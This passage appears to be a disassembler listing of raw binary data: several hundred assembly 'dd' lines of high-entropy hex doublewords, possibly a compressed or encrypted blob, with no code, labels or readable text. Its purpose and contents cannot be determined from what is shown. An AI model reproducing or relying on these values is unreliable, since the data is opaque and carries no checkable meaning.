		dd 97009D09h, 0E631989Eh, 1B0020Dh, 707F9F83h, 0C0E3E046h
		dd 0A300F7C6h, 13AC308Dh, 23437FAh, 706736CBh, 5460AB9Dh
		dd 19063B78h, 984F8B1h,	0AEFE2CD0h, 249001Ah, 8BDC6918h
		dd 6C798909h, 84805FEEh, 0A0665D81h, 5CD2A300h,	6A3F0DCFh
		dd 0AA8A07A6h, 900A2DF5h, 554F72Ah, 0AE3E9D71h,	0F4F900BFh
		dd 0B313C2A6h, 0CFA0730h, 70B1D848h, 6E0F148Ah,	29C68D02h
		dd 0E06B80C3h, 0D8D43Dh, 60F9D724h, 2BFE7433h, 1B8F43Fh
		dd 77CEB322h, 98201407h, 7DC33D05h, 0D519A900h,	0CFF5BED0h
		dd 81836300h, 1A009C6h,	1B19C091h, 908E5F50h, 97BCA61Ch
		dd 0B2C00BDFh, 63F6A4CFh, 0C03A0059h, 0F37EBEE9h, 9271C984h
		dd 99E4D700h, 0FDF8166Bh, 0A8B07FF2h, 0E7F2498h, 3F063B50h
		dd 0A303A6C2h, 986922E0h, 3D0FE272h, 0EB8659E3h, 0A4EA0090h
		dd 0B805095Dh, 0AAC50045h, 0CD11504Fh, 7A03DE9Dh, 660EE858h
		dd 2EF0008Ah, 1B79E4F0h, 0A400ACD4h, 0E977622Dh, 0C843D7h
		dd 42B566C5h, 0A8BCA9F3h, 680A48h, 29D8798Eh, 6096A384h
		dd 2B2D489Ch, 9E009413h, 3AE60AFDh, 60DF3299h, 9F6211DCh
		dd 0B706D6B3h, 0CCAE76A8h, 0DDA20119h, 31D94C5Fh, 11A9D07Bh
		dd 16E84100h, 4EE7C9AAh, 54AC98EBh, 0C27C0Dh, 0CD291B1Ch
		dd 314D84D6h, 0C9EB5007h, 6420B28Fh, 72FFD970h,	7E6A1C91h
		dd 0A3AF4914h, 70E3E707h, 0DDD74C76h, 74BE9B00h, 0B9ABAAFAh
		dd 300E00C4h
		dd 51C35848h, 301F93Ah,	78E3E762h, 85E88F14h, 817300ABh
		dd 4BC580D3h, 0B601902Dh, 0C6E98BBh, 6370CE14h,	0BFE8485Dh
		dd 7F656A0Ah, 772300E0h, 0E1472937h, 54988C07h,	0E6001D74h
		dd 0EE786D43h, 0DFF10250h, 45290709h, 0FDBBEC68h, 1D08200Bh
		dd 0FEDEB2h, 87C5159Dh,	98482EB8h, 9313E78h, 83FFA628h
		dd 0B80C35C8h, 45B214h,	9F8A8E89h, 0DC58EEE9h, 19066D09h
		dd 2880F0Ah, 60D2BF5Ch,	7E6B5F0h, 93676029h, 0D396B0F1h
		dd 9A00FF52h, 0EFE334C9h, 91E64Dh, 8386810Eh, 79DDC4C7h
		dd 0C5A658h, 52E57C2Bh,	1D7EE62h, 46F53B25h, 0C8816E29h
		dd 0F9094C19h, 7A13A7h,	7F777028h, 1CBA1657h, 0F04001Eh
		dd 24EA4B18h, 97ACC12h,	0EC700800h, 0CE2980h, 3A0EC86Ch
		dd 29CC012h, 8013263Dh,	29E140E4h, 0F115448h, 5B355983h
		dd 0B9CB1EE0h, 0E4482879h, 572D0018h, 26604415h, 58CA001Fh
		dd 0C4F6A645h, 36013D93h, 1BC524A3h, 0FAF03CFEh, 0E8834C96h
		dd 1DAC9A26h, 68803C53h, 58041811h, 8A002E84h, 818D9CAFh
		dd 3BD7F2E0h, 68369B2h,	0C7A597BBh, 744494E0h, 7BC6D21Eh
		dd 0F74BB040h, 12CC8FBh, 5D01219Bh, 3020A6A1h, 230F2528h
		dd 203EA417h, 3AA30502h, 813D3DAEh, 4DD04C00h, 0DBCE5FFEh
		dd 8A573Eh, 0CA877722h,	31C328Dh, 0F7A6EC4Ah, 4890333Fh
		dd 0B800C313h, 5B90F0DAh, 1FE792Bh, 0FF9959C8h,	0C0AB0D3Dh
		dd 3BEEA323h, 3CC90900h, 86B73296h, 56E21E12h, 55BF4049h
		dd 0F15D0CF9h, 0DC3EC700h, 0D1D06159h, 6C770E24h, 51000223h
		dd 0A0B71F21h, 811D5F01h, 0EEA88613h, 738074h, 2225CA72h
		dd 52A34BC0h, 71104C07h, 5AD36460h, 4192D1A9h, 45460h
		dd 25773AB2h, 5DCED518h, 240FEB07h, 7D20A574h, 28CB8217h
		dd 0FA40E5h, 9CC5543Dh,	88844764h, 0FD8ADD1Fh, 0F8EADE8Ah
		dd 2865E800h, 0F6B1Ch, 7C8EB25Eh, 81F9729h, 1E10A1h, 0B2643Fh
		dd 0B65ED75Dh, 0E2B911Fh, 4BF087F0h, 1FB04DB8h,	5222800Eh
		dd 0C002004Fh, 1859C29Ah, 285FD54Ah, 8021D97h, 89F28855h
		dd 528F55BAh, 3894A18Fh, 0E66F9101h, 0ED3F6671h, 62A3015Fh
		dd 4A51FFCCh, 651804DEh, 8014D7BEh, 72BCD403h, 80A9163Dh
		dd 0A1BD2BF8h, 2C7DBB41h, 0CFE257h, 131C73CAh, 2C7ECFE7h
		dd 0B4E5207h, 466062C2h, 12F4D3h, 0EB6D0558h, 0C901A804h
		dd 0B800CCECh, 41FA4996h, 1AE197Ch, 0A9CE4E0h, 0BB815F9Bh
		dd 27AA8081h, 0BD94FDC7h, 0DC051DEAh, 211119BCh, 3D9B20C3h
		dd 6BDF2903h, 0D773C180h, 11E9BFE0h, 0EA2B7D8Dh, 53F20063h
		dd 888343C0h, 66633456h, 0D2027D18h, 5F5200BDh,	287C82E4h
		dd 604C1A37h, 1A72A11h,	86E0F835h, 85561787h, 0DCCE017Ch
		dd 0D0E6C46Bh, 20C03033h, 47565125h, 0BB8E6A0h,	4BF7CA83h
		dd 131DF600h, 0FD24E288h, 89834C12h, 6C5F7846h,	7FD18088h
		dd 0FFB33E07h, 64E3C014h, 0E5FDF88Bh, 6CDDB043h, 0E4148F5h
		dd 53E78206h, 11DC31h, 0AE4071C8h, 0FA64175Dh, 84F6533h
		dd 0AB2109D9h, 1F00413Ah, 0B7402BD5h, 13174E19h, 8D184F48h
		dd 774820FFh, 0C4245F54h, 36A788h, 0D06FE941h, 34CA58F4h
		dd 0EB2B7806h, 50E44274h, 8C9AE4E5h, 8E24AF04h,	1262ACF6h
		dd 27B0C420h, 0FF8C00EEh, 91F51C04h, 34247E7Fh,	92055CBFh
		dd 9407C763h, 724C299Eh, 0A52704FDh, 0C3C9CB18h, 0D0FFA1A2h
		dd 6F33A663h, 5E57B800h, 8AB95160h, 42600E2h, 0C18BE65Ah
		dd 6C00986Dh, 31B49BC0h, 0AC7984h, 42CE9353h, 69851562h
		dd 0C0B62E00h, 884A4894h, 0B13D38CAh, 5487FF83h, 0C0F58B73h
		dd 5038BFA4h, 10527B00h, 889E50Fh, 0EDC004Bh, 9911CC5Ch
		dd 462C169Ch, 4002067h,	484E254Dh, 580A001Ah, 274331BEh
		dd 0D7A7209h, 0FE777BF2h, 0AC299605h, 46E97F4h,	1B3856F0h
		dd 0A8EA7F42h, 55430B6h, 21F9DD11h, 6BE93700h, 6D87CF53h
		dd 66F0EFEh, 0FA6CA932h, 8118819h, 222272F5h, 0B1EB5018h
		dd 0C1E80348h, 0F6A93461h, 3C20A0F9h, 0FDD10A00h, 7DEF4E32h
		dd 194EE8Ch, 5DDF024h, 805E5B2Eh, 39B8CD18h, 1E372AE5h
		dd 0CCF8F06h, 6DA0C6F7h, 3CAE8000h, 0D0567EABh,	60766F5Ah
		dd 88577C80h, 160A77DFh, 4031F1E4h, 0D40B39Fh, 220669BCh
		dd 14F0098h, 0F461CB7Fh, 921C203Eh, 0D0465297h,	3CC0CF1Ah
		dd 0B8E07C83h, 0D7815715h, 803EAD3Ch, 0BBC20506h, 0A280929h
		dd 0D2F7E837h, 0E57D0034h, 0A184A933h, 4055D130h, 107956BFh
		dd 0F679B87h, 803B467Fh, 29D8141Ah, 1E890322h, 42D37DB6h
		dd 0B473F3E0h, 5001CCF4h, 0C4FFA9E4h, 34F10649h, 61D2D1F0h
		dd 46B3AA2Bh, 55AC503Ah, 9C1533B7h, 0E8014Ch, 7689D20Ah
		dd 292BF996h, 1FC02D8h,	0FF53AA05h, 2AC09C08h, 8006F14Ch
		dd 1F85FCBh, 6188BDA4h,	839840B9h, 0C7157489h, 0C2245682h
		dd 2427DBBBh, 0AE9B42E5h, 0A390AF25h, 0F83FCBA8h, 1A9355Dh
		dd 0F92C7B99h, 0E4A2FF07h, 291D8202h, 910E4A3Ah, 3E06DFF5h
		dd 1490F014h, 0FC7F57D0h, 0B6875A07h, 0AD824134h, 533ECC38h
		dd 0A9625506h, 39B8E507h, 0D23D471Ah, 19C015FCh, 33C45814h
		dd 412248DCh, 83083811h, 6FDB2D28h, 1D88D9E9h, 74048055h
		dd 0C41FDD9Eh, 882F1EC1h, 88500268h, 48C122FFh,	7667B71Ch
		dd 16E1B081h, 0CCA5EF92h, 0FF33A745h, 0A82C18C8h, 48EEE394h
		dd 9700587Dh, 9B3CAF0Ch, 0D23B567Ch, 28F9241Ah,	7158140h
		dd 24D47CB9h, 447457FFh, 414089AAh, 5A75B790h, 780B28F4h
		dd 504EEF06h, 12207A1Dh, 20D93D94h, 0EE5A1FECh,	0B8E64A03h
		dd 443BDC96h, 76FCE0h, 982A0756h, 111975D3h, 3058014h
		dd 1EA7C234h, 0FDB51128h, 306C8CCh, 7829A464h, 0F7A7CC80h
		dd 14077D1Fh, 9C1DB84Dh, 343DBD00h, 704BA27Bh, 0BB00F979h
		dd 5FBE6EF1h, 1226A19Ah, 477E1E50h, 0CF936Ch, 82BD96FFh
		dd 0B83C0800h, 92F7E919h, 3A620580h, 943B4Bh, 66C2BD88h
		dd 9802078Dh, 12F71011h, 5550667Fh, 0F1BEECB6h,	7737B500h
		dd 0F79CCDBCh, 0C4F5112Ah, 763DE9F8h, 0CC32804Bh, 8137A29Bh
		dd 0F203CCBh, 0C350A49Dh, 0EF6C4335h, 0B802CCD3h, 86513C69h
		dd 1BDC8036h, 0E45358FFh, 20134903h, 0EC66D600h, 6BDD2CBh
		dd 0FDB880C0h, 61B7479Ch, 699BF1CAh, 42489131h,	66AA2103h
		dd 2811A170h, 95007C1Eh, 6987D626h, 590CBB35h, 6939C703h
		dd 0FEB5075Eh, 0C655E858h, 0E9DF19D3h, 85603000h, 12E5EC69h
		dd 9DFF44h, 3FD6A6DCh, 5E00F34Ch, 0A3173CBBh, 49FD062Eh
		dd 20419CC8h, 0E360F8h,	0EEBB58F9h, 29D976F2h, 5AD6C606h
		dd 0B020B5h, 4EA33C9Ah,	0CA580DFAh, 1807DD24h, 0DC31FC0Ah
		dd 0DAFF003Eh, 0B3EE1A7Dh, 81C013CDh, 0F980170h, 248DBBCCh
		dd 0AB0C4078h, 18350366h, 0AD7B24A3h, 0F7EB0AACh, 3F2360E8h
		dd 0F9077EAFh, 7046985Bh, 0A0266722h, 0CE392BBCh, 0FC1E53BDh
		dd 0BBB7C009h, 64F8F800h, 0F01E794Ch, 0EF403C77h, 7ADFCC47h
		dd 13E0D3h, 23EA27Fh, 0E9B31F06h, 51FC827Ch, 20309826h
		dd 3816D105h, 0DAF7B030h, 208904Dh, 0FF0CE429h,	0B8806830h
		dd 97A0E594h, 10796004h, 8CC50FD2h, 1CF85020h, 7DC604BDh
		dd 6C921h, 4773CDD6h, 0B08D5033h, 0E5584C5Eh, 0DD8EB900h
		dd 7D507929h, 700241D3h, 603C847Ah, 1E9288h, 4C2B3FAAh
		dd 0A69A52A3h, 58E8C612h, 5FF2800h, 3FE5C74Fh, 0B5859804h
		dd 82B797D1h
		dd 846855F8h, 7A158D0Fh, 5494DBD7h, 0F87D0CE8h,	14A2CF77h
		dd 2A09B800h, 79168236h, 0BC5F07D7h, 1E916C4Eh,	1000BAD3h
		dd 0AAE75764h, 968F012Eh, 0B63526E3h, 14C0EEE4h, 0EB127A44h
		dd 0C009C56h, 43EE0761h, 77D200D9h, 20C9D701h, 861D52DFh
		dd 0C01CEC1Eh, 0C095294Eh, 8C94237Ch, 3B80035h,	7B01DBE9h
		dd 85097F0Dh, 941F0ACDh, 0DBD616E0h, 0A98031B5h, 0F08C350Eh
		dd 30B83CCFh, 0A4172893h, 409B9C28h, 349079E8h,	240F4444h
		dd 0BCE4FEF7h, 0D616B009h, 0BA898C0Fh, 80086811h, 58FB7149h
		dd 9AEDD6C8h, 0E964004h, 995B7A40h, 65E9120h, 97FDBC96h
		dd 7EB22128h, 20683C09h, 0CD9A51C8h, 0B184EBD2h, 92C7853Dh
		dd 4061BFACh, 8F209167h, 59F7864h, 4C467EDAh, 222861D9h
		dd 650306A3h, 3566C46Ch, 6AA8E3CCh, 134CE119h, 0A03802FDh
		dd 2460B432h, 901FF304h, 0A2C03CBCh, 0AEA69B40h, 0BF5214E8h
		dd 71CB8857h, 0B2660010h, 2FF0FDE8h, 0ACA6E426h, 0D7741849h
		dd 0C4311679h, 0B32828B6h, 0B76B4712h, 57683400h, 49D48351h
		dd 113BAC29h, 809D0DDh,	6890FA2Ah, 4B024091h, 0ABBD4807h
		dd 2808B79h, 0E0313714h, 12CD8648h, 0B8F988h, 2C9AA268h
		dd 0C713CBF3h, 24210563h, 207BC0Bh, 244812AAh, 0A53B8F44h
		dd 0E4DFAC1h, 0C82A8468h, 4EDD9000h, 8921653h, 3A445092h
		dd 34100755h, 8A1A6492h, 0F175184Ch, 9960BBD3h,	6C325751h
		dd 0CF513EB2h, 5046116h, 128770ECh, 9810225Ch, 7CFEF4E0h
		dd 8222DD07h, 37C11EE7h, 0C02447C8h, 0ECB955E1h, 0D312047Ah
		dd 4EF08151h, 0C419AC2Fh, 30019413h, 0C3CC100Ch, 63806C50h
		dd 64B0581Ch, 3442EF80h, 1716FFD1h, 24300237h, 5051B38Eh
		dd 10E9077h, 5D628C98h,	0D0691CD9h, 18AD1801h, 0DB258480h
		dd 3B95F4h, 1CA2FEC3h, 79D04102h, 9C9A33B0h, 0E07F59h
		dd 0A9C3C8B2h, 3372A5Eh, 3D29A19Bh, 34F831C2h, 4A02B590h
		dd 0C64516Ch, 42748F18h, 61802C41h, 404829A8h, 73B70067h
		dd 6DCC0DC4h, 5B5C4084h, 2077B1C4h, 0F8C88C55h,	84722863h
		dd 44F098C8h, 5C09F83Ah, 807B3681h, 2F0EA290h, 0E80CB2EDh
		dd 1DE003h, 0C19D0944h,	0A23BFEF8h, 0EE054D05h,	84BB814Eh
		dd 476CD0F0h, 10BA21BDh, 5ABF2A09h, 0D03F0323h,	81D903CDh
		dd 2D16B46h, 7E6048h, 3B4ABD82h, 3B2B7D37h, 4404D24Eh
		dd 0B4220881h, 0B49823E4h, 2D03F00h, 52A27DABh,	46BD0181h
		dd 69CA3439h, 0CBB920CCh, 980F2205h, 822CD93h, 0B7A83091h
		dd 0CE3E3471h, 82E10280h, 60AB066Bh, 122944D8h,	1D2C4ADDh
		dd 0CA379D04h, 42304097h, 4440B7D8h, 3D095599h,	8E488F8Dh
		dd 49C50070h, 7529EE01h, 0CF8202FBh, 0DE7A081Dh, 442C1C50h
		dd 0B242B8A3h, 8E6B4357h, 21FC9218h, 6A903B47h,	5E3DFB1h
		dd 14B02098h, 0C049BE01h, 282B427Ah, 0E28E875h,	0EB17B43Ch
		dd 0C44DCE96h, 2070C0A3h, 88335C67h, 0DC0824h, 57773678h
		dd 0EA440329h, 0CDA826EDh, 305F0170h, 60582035h, 0C477FF34h
		dd 4EF31B00h, 567889BDh, 18E8B0E4h, 0D809A334h,	99D281h
		dd 0ACE9700Eh, 134938CCh, 8147F303h, 30E75C3Ch,	0FA5CCBCAh
		dd 50A40588h, 832C609h,	0DC4930D0h, 0EDBD5213h,	0C4814h
		dd 483CA57Fh, 0AB331D8h, 0A02979FAh, 0D5907144h, 2CD46702h
		dd 0A700C8CCh, 77345095h, 0AAF7009Bh, 0EC6053E3h, 5518517Fh
		dd 0A9381A05h, 14808B7Eh, 9660E57Ch, 0BBB87F61h, 0BCEF29F0h
		dd 7A2E00D0h, 8C80BA33h, 0B250C09Ch, 0D44951B5h, 5894CC0Dh
		dd 89F7B0C5h, 4E1A412h,	0CC20873Bh, 2029E455h, 59EE1044h
		dd 0B5292EFAh, 7AE902B0h, 8995F2Bh, 386B184Dh, 7C480718h
		dd 9046CC50h, 69F894h, 0BB33602Ch, 4527083Bh, 3C22D090h
		dd 6D5601DEh, 0DCBF97ACh, 20FC2129h, 9A4B0E50h,	21D1DC29h
		dd 0B0422C00h, 0DE2C28B2h, 508C34D5h, 2A3117h, 0EC7B9B79h
		dd 6F553D2h, 0EBE9A800h, 498B7F9Dh, 0B93A0959h,	1C890A3Bh
		dd 10CD5007h, 144034C3h, 90063706h, 683029h, 7DB877FBh
		dd 1DC8D57h, 60497F4Eh,	0FB03850h, 536D1F6Eh, 0B12284D8h
		dd 254F31Dh, 7B47B55Ch,	924448C1h, 0E08F4C4Ch, 0D32CCC3Eh
		dd 1992B8h, 0B67F5510h,	9F26867Ah, 0B4051034h, 20C046AEh
		dd 7F7682EEh, 0F618C167h, 607CF2D2h, 15048190h,	0D9B3CE0Dh
		dd 3DED58B1h, 2C2C03D4h, 8048B4FAh, 7B46A047h, 970081CBh
		dd 20579CDh, 0BBCE40h, 372175E7h, 0A863FE8h, 0DB08C0A5h
		dd 0F9950113h, 70ABD8A9h, 6F00A34Ch, 0FDFB1CB6h, 3237B899h
		dd 0A438AF40h, 3388C868h, 0E00218A8h, 0B8830A5h, 342A0214h
		dd 0C048A52Fh, 6400152Dh, 4C8B527h, 0F98C75B2h,	188E79D8h
		dd 0D81F44FFh, 0E3018857h, 87CF16F7h, 883CBD25h, 7914D21Bh
		dd 0AF951810h, 0FF497087h, 9C10A08Bh, 341A3EAAh, 0D31151B7h
		dd 0AC658100h, 1B089315h, 0CACF741Ch, 0BD06FF3h, 0D042A90Ah
		dd 3C05A478h, 0D20DD4E2h, 1AF8D843h, 3D1101D3h,	7AA9A886h
		dd 14475FDh, 6C1B72E6h,	1FCF0680h, 2586D2Fh, 0DB3550F8h
		dd 0A444D2CBh, 90D8B567h, 8870C080h, 6097F816h,	0E642214Fh
		dd 37016919h, 0D70A11A9h, 6820E88Ch, 0DAC609BBh, 0D8C039A2h
		dd 0C505366Fh, 0D08D9C63h, 0F9BD00BBh, 19BDF2E9h, 0FECD8118h
		dd 0B78510h, 0D9C167F3h, 880CE11Ah, 0A9D5D200h,	0B0481091h
		dd 0FBA4A80Dh, 39CD30CBh, 6929D6A9h, 160EB73Fh,	0E90B51FCh
		dd 480089C7h, 0F0948D30h, 84A054B2h, 40D178FBh,	0C600FF3Bh
		dd 0DA2EE09h, 0FE6FE9Ch, 0B906617Dh, 1820F6A0h,	1900F32Eh
		dd 0C94D56AAh, 77025C86h, 22B48075h, 0DB009DE6h, 57C7E49Eh
		dd 0C0585409h, 7096E679h, 0DB0190EEh, 0F5C301A2h, 97DCA407h
		dd 882200A6h, 0EA629341h, 4B4D2ECAh, 48471C3Ch,	5F6DB1C0h
		dd 4356625h, 937236C7h,	1C6CF8F5h, 0C1F296FBh, 0CE99604Ah
		dd 3DE80EEEh, 0EB47F595h, 0E626804Eh, 94A4C8CBh, 0F9E5DB00h
		dd 3D2ABC58h, 2623B844h, 0A057B1h, 0E35C8529h, 0CE0007B5h
		dd 4F79AB2Dh, 3CC8CA2h,	668A3A6Fh, 55E0C939h, 0C1062DD7h
		dd 0D0A636BCh, 89D33008h, 55D56720h, 5EE10400h,	2E41F383h
		dd 0E46F0711h, 7029AF8Dh, 8E2DBFDCh, 37E88501h,	3A9321B2h
		dd 868BF4h, 0BABE7D5h, 118DC4EBh, 8208F263h, 0DD200036h
		dd 421FE806h, 830025CFh, 0D7644F69h, 2E3A90h, 8D4C3CF4h
		dd 95CE0985h, 1BE36C40h, 185DD803h, 0A948A060h,	3EA359C5h
		dd 0C37E4F6Bh, 91A42E19h, 0D088CAA0h, 0BCCC200h, 69C6E3BDh
		dd 557FEABFh, 30DE886Bh, 0D61155AEh, 7484B92Dh,	0D464008Bh
		dd 0AE8E655h, 2D494E13h, 9C298194h, 9F284D0Dh, 8D194628h
		dd 76F08C19h, 9D2401C2h, 68D428ECh, 66B88235h, 60531C19h
		dd 3F70A0D1h, 6F3AB192h, 0E211E30h, 4D0052B4h, 8430D881h
		dd 18F2DCD1h, 91216F08h, 3700C226h, 0ABE21CADh,	0A07101CDh
		dd 7DA7FE94h, 13F71E90h, 82440B7h, 26D76A51h, 0A9B90300h
		dd 6BC82E0Fh, 0C7AD0058h, 0C0369C76h, 0D7FF61Fh, 9D3F9903h
		dd 3EE4335Fh, 7A001E10h, 27BD05E9h, 9B003AA3h, 220FF807h
		dd 7B3A8FDh, 3262BE12h,	1D2D53F9h, 0C8594900h, 4CCA5BFFh
		dd 0F0AA4175h, 21C091C4h, 0DEBB83B1h, 5A4B0468h, 805CF9CDh
		dd 5FDA4A4h, 0C1D95300h, 0E0383398h, 0CBA7008Bh, 6D55E24Ch
		dd 9B00804Dh, 360BE59Ah, 63F3B856h, 0DD746887h,	0A1594DE0h
		dd 0C150CB30h, 876FABh
		dd 0C01FBDB7h, 0DD751D92h, 5FE4F30Fh, 0FFC7E7A7h, 41CBC6h
		dd 0A36419EEh, 0E1DA4651h, 0B1E4DE8h, 0A2003FDBh, 7F0A1BAh
		dd 0A7670047h, 8E9561EDh, 0E9079A75h, 0B26317A5h, 21FA3600h
		dd 271207F8h, 0B1E2FB01h, 830E1BCBh, 397E2C90h,	49EAF883h
		dd 7D130090h, 710426ABh, 901F2A8h, 9F188664h, 0E7FC532Ch
		dd 35EC0711h, 8F700D38h, 3443948Fh, 0E593208Ah,	0FF5344D1h
		dd 1584A9C0h, 7F9E7202h, 0F5A79C61h, 28108F43h,	0AD006E99h
		dd 9FCBE235h, 1800A451h, 0A715622Ah, 0DDFB0Bh, 48C389F5h
		dd 0E86B782h, 0C58ED600h, 580A628Dh, 0E2CF0001h, 171AB57Bh
		dd 12004C36h, 49B02C4Eh, 0C52B6Bh, 0B820BABEh, 56CC3748h
		dd 0D93C7901h, 2C941A38h, 0F6C45FDCh, 34EE68Fh,	7380FA3Dh
		dd 0A3CA6E71h, 0B5F14140h, 0EBD0D500h, 3D63102Fh, 5D510090h
		dd 417ECDA4h, 38009349h, 740631DFh, 0A8BC7C63h,	211A94h
		dd 9B203E92h, 0B10E4C13h, 829C7F00h, 7E9430F1h,	449D008Fh
		dd 0ABA39BDEh, 9E0045DBh, 11A6821h, 1431999h, 74C446B9h
		dd 7EE4EFF0h, 7A97ACC0h, 94980041h, 5A3E5440h, 271C8312h
		dd 5D001DEDh, 8F1BA02Eh, 4E00089h, 0D0C795F1h, 0D909DD7Bh
		dd 57C48850h, 41655080h, 0E5023EC6h, 9C92D4A6h,	6EE640F8h
		dd 5ED50025h, 76BE2C67h, 0E6076B93h, 0AA4B6FB3h, 89151AA0h
		dd 80F00337h, 962B3311h, 0E90597B8h, 1841AD00h,	0E8C95622h
		dd 0A8F34B7Fh, 0D7720AB8h, 0AC808CECh, 57C30B8Dh, 2D8C01EAh
		dd 0BF2F7A82h, 0D1C8C03h, 1C5BA8E2h, 0C0F68EEFh, 79959D86h
		dd 28003002h, 0DDB3FAC6h, 0F8DCF2Fh, 24462A55h,	2300F834h
		dd 6383B6ADh, 711C70C3h, 1FAEE536h, 123F3Fh, 8454B16Ah
		dd 346120h, 0C63A6562h,	0F1F710F3h, 13ED7400h, 99F94049h
		dd 0A03B0003h, 0C3184E0Eh, 0E7091DB3h, 56CF5Eh,	34FD0178h
		dd 47A700AAh, 99513A72h, 0C91D12E3h, 4981D323h,	0CFE42E70h
		dd 0F7636E0h, 475D8C2Ch, 0AE4EDCC0h, 0BC076654h, 0EB50437h
		dd 0FAD262E0h, 417476h,	0B3A9D6CAh, 1423CE36h, 4BB4531Dh
		dd 38C28B80h, 966EB2h, 0DA1095A7h, 0BCDB3970h, 8986F000h
		dd 0EA594174h, 17E9880h, 7E43117Ch, 0DCFE8B4Eh,	0C700764Dh
		dd 0F72F37B0h, 1B2F978h, 74F3FAB6h, 0D4FED8BDh,	2E1C51F5h
		dd 48C7151Bh, 6B305822h, 0AF8025h, 357CCAFDh, 7E8D783Ah
		dd 2F50FE00h, 0A07FFBE1h, 0F0F6550Dh, 74B55AFCh, 67C1003Fh
		dd 0DAC4C3CAh, 0AB73972Bh, 823CA33Bh, 8FF2480Dh, 57040B5h
		dd 970F0026h, 75827BAAh, 1B001D14h, 7E45F417h, 2D45934h
		dd 0BF33EBE0h, 2CC074C9h, 0C709C29Ah, 0CB0AD3h,	9C60FC6Dh
		dd 0E925002Ch, 0C5724BC8h, 0DCE18706h, 0ADA039F3h, 0BBEA6E77h
		dd 0D1CCDD00h, 3559EC0Dh, 0A244006Ch, 0EBA93BCAh, 1273B613h
		dd 48003976h, 496C333Ch, 1632D3Eh, 37659B29h, 8717CFDAh
		dd 4240D178h, 6F0CBC31h, 0F3F9E9FBh, 0BD538880h, 0BA649285h
		dd 0E6417C00h, 0FB077FD4h, 7A8B63C6h, 0D5C08545h, 612EB73Dh
		dd 400A968h, 5CBF64DAh,	1F08008Dh, 8CC5FEF3h, 5200F6DDh
		dd 676A73BDh, 2DEF56h, 0E0A13446h, 0AC32CEDAh, 0FD304D00h
		dd 626AD810h, 0E908026Bh, 458267AAh, 0D858DCE1h, 75E21FEBh
		dd 0BCFF2800h, 0AD5A0219h, 4D7800CBh, 328905A8h, 9200908Dh
		dd 2D982822h, 0FD566Ah,	17DEABAAh, 0B16269A8h, 846C4A24h
		dd 0B618D03h, 68CB825Bh, 1415C4h, 47A03439h, 0C2FBD5DCh
		dd 0B849690Eh, 0F98921FEh, 0A9FBCA6Dh, 0D1DC556Ah, 68BA0045h
		dd 0E1C03962h, 64906D9Dh, 613E5600h, 0C685F0DFh, 0B373D92h
		dd 0EB96FB00h, 53804CA5h, 0A68439h, 0DD57FAB9h,	5C193Fh
		dd 0E640F8F3h, 234E0CD9h, 91AE1200h, 6082953h, 70630060h
		dd 0FAADF858h, 0E006BA5h, 427E72A1h, 9C6756h, 0EA96D377h
		dd 0AD8C441Ah, 6AAED900h, 2649FC08h, 0AC0400C6h, 0BB10A0F6h
		dd 3400A28Ch, 85B5866Ch, 0F8BF5415h, 17250026h,	0FF0692E6h
		dd 0D502CEA7h, 8F0CE379h, 70284038h, 60C80124h,	21C7341h
		dd 17D0D47Dh, 7611B513h, 0E7634801h, 24209A84h,	89060051h
		dd 4C183A96h, 73002FE1h, 0B8CDD225h, 191A4ECh, 5A3778CEh
		dd 6FDCEF07h, 1D19EF0h,	850C57Eh, 0DD4068C1h, 0DFC9E02Dh
		dd 76D4E300h, 0DAD9ED62h, 6FCB013Ah, 4E346EA2h,	0C483EDDCh
		dd 15000BC9h, 6248BAE7h, 0E2942A74h, 0F5CB0059h, 0CC0F1371h
		dd 0D1005561h, 40A24DD9h, 0BAA1265Bh, 0C0050010h, 8A229E5Dh
		dd 0CA0E3547h, 6117A958h, 0C4306CDh, 22AA460h, 68962764h
		dd 7040DC48h, 6F007CBEh, 0CF0EA11Dh, 3CB0FDB4h,	29BEEB2Ch
		dd 40969807h, 0E01CB2E4h, 0ECF83CEBh, 0A5039DB5h, 9CAABF68h
		dd 20A181EEh, 0D19F8880h, 21155C8Ch, 19844F03h,	0A78D5179h
		dd 0A09DD301h, 281AB186h, 0E800516Fh, 0EEB88314h, 0E98024h
		dd 7375D1C7h, 787FA63Ch, 19C8E3FBh, 3D009DFAh, 7D0BD21Eh
		dd 17AC367Bh, 10F43B4h,	0BC50C774h, 5C78811Fh, 7A01947Dh
		dd 0EA0C30h, 77C78074h,	0F0350B91h, 40CF5F00h, 2160FBF2h
		dd 82C40AE4h, 6574EE8Fh, 145840D2h, 39845149h, 7061E530h
		dd 1ED72085h, 40665075h, 0F001C243h, 0AE0751A0h, 0EFFA3B73h
		dd 53820340h, 0A7000B2h, 0A697ACBEh, 0CC009455h, 0AFC3E29Fh
		dd 3C87F4Ah, 6B010908h,	2A80C7B8h, 0F107B99Ah, 0C566BB90h
		dd 3881A967h, 0ACE4F296h, 0ED9700CEh, 0C0D714B1h, 9002016h
		dd 0A5448675h, 2F78C2Eh, 0C8653BC2h, 99407FD3h,	8AB846A7h
		dd 0B6F37800h, 16C46DA6h, 0B06C00AFh, 9DC91466h, 10003F92h
		dd 0B7F6CB7Dh, 4CAC7F3Bh, 40016A7h, 0FEF2F4D0h,	1100EA79h
		dd 0BF95DF84h, 5515121Dh, 90D59864h, 0FEEF75F4h, 1BF30021h
		dd 9B555063h, 2730A856h, 9C8A2966h, 6BDB003Fh, 26E0E14Bh
		dd 502D6C0h, 9A5FDDEDh,	0C62CC0F5h, 90AF398Dh, 0C554D480h
		dd 317AD282h, 93F3CF00h, 0B2627D6Eh, 969F0039h,	0D1E35ADEh
		dd 22506FB5h, 0D30F7FD8h, 805F93C5h, 0FD8EAA99h, 2E950030h
		dd 0B4D0EF4Dh, 9E00D257h, 3392A714h, 77E9B7h, 6DDF1FF3h
		dd 979A5CA9h, 8D803C06h, 677095D9h, 8047129Dh, 98218EFBh
		dd 5B202F00h, 2C99F81Fh, 40DC5060h, 4C142C87h, 0DBB8090h
		dd 84B3D589h, 0FA95E800h, 0E480679Bh, 0D23414FFh, 87018C51h
		dd 0E0F1D68Dh, 0D56AD8F9h, 0DFCC9500h, 49522625h, 0E35E63Bh
		dd 4F0F2B10h, 0E65B2EA0h, 0E9E8588Dh, 426AC07h,	0FEC08EDEh
		dd 2F3E36h, 0FFA938F2h,	705E65Ah, 0AFEA9D06h, 42290AC1h
		dd 7BC311D2h, 1106F111h, 44791C49h, 0C3444137h,	462284ADh
		dd 51FA6021h, 969A3749h, 56235103h, 0F05FA935h,	0E30DB331h
		dd 15C01D4h, 8391DBE3h,	0F06F1A6Eh, 7E00C640h, 0C5B6423Ch
